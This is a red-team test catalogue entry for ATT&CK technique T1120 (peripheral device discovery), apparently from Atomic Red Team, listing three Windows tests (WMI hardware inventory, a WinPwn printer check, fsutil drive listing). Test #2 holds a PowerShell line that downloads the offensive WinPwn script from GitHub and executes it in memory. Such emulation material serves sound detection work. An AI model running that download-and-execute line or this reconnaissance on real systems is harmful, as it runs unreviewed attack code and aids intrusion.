T1120
Peripheral Device Discovery
Description from ATT&CK
Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Atomic Tests
Atomic Test #1 - Win32_PnPEntity Hardware Inventory
Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity
Supported Platforms: windows
auto_generated_guid: 2cb4dbf2-2dca-4597-8678-4d39d207a3a5
Inputs:
None
Attack Commands: Run with powershell!
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Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt
Cleanup Commands:
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Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore
Atomic Test #2 - WinPwn - printercheck
Search for printers / potential vulns using printercheck function of WinPwn
Supported Platforms: windows
auto_generated_guid: cb6e76ca-861e-4a7f-be08-564caa3e6f75
Inputs:
None
Attack Commands: Run with powershell!
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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput
Atomic Test #3 - Peripheral Device Discovery via fsutil
Performs pheripheral device discovery utilizing fsutil to list all drives.
Supported Platforms: windows
auto_generated_guid: 424e18fd-48b8-4201-8d3a-bf591523a686
Inputs:
None
Attack Commands: Run with command_prompt!
1
fsutil fsinfo drives